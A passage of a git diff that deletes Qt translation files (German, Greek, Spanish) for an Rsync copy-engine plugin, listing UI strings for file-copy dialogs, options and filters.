- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Wenn Ordner Fehler</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Fragen</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Fusionieren</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Prüfen Sie, ob Zielordner vorhanden ist</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Wenn Ordner Kollision</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Erst nach dem Fehler</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Ignorieren, wenn nicht</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Haben checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Aktivieren Sie OS-Puffer</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filter</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Umbenennen von Regeln</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>OS-Puffer, wenn kleiner als</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation>Der Ordner existiert nicht</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation>Der Ordner ist nicht lesbar</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/el/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/el/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/el/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/es/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/es/translation.ts
deleted file mode 100644
index 8e00156..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/es/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="es" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>No es compatible con esta plataforma</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Fecha de última modificación es incorrecto</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Fecha de último acceso es incorrecto</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation>Error de opciones</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opciones del motor no está cargado, no se puede acceder a los filtros</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Buscar:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Tipo de búsqueda:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>texto Fuente</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>Regex simplificado</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Aplicar sobre:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>Archivos</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Carpeta</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Archivos y carpeta</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Todas las líneas tiene por qué coincidir</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Verification</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Prueba de la cuerda:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Filtros de diálogo</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>La expresión regular es válido</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>La coincidencia con la cadena de prueba con la expresión regular</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filtros</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Exclusión filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>La inclusión del filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Ninguno = Incluya todos los</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>texto Fuente</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Simplificado regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
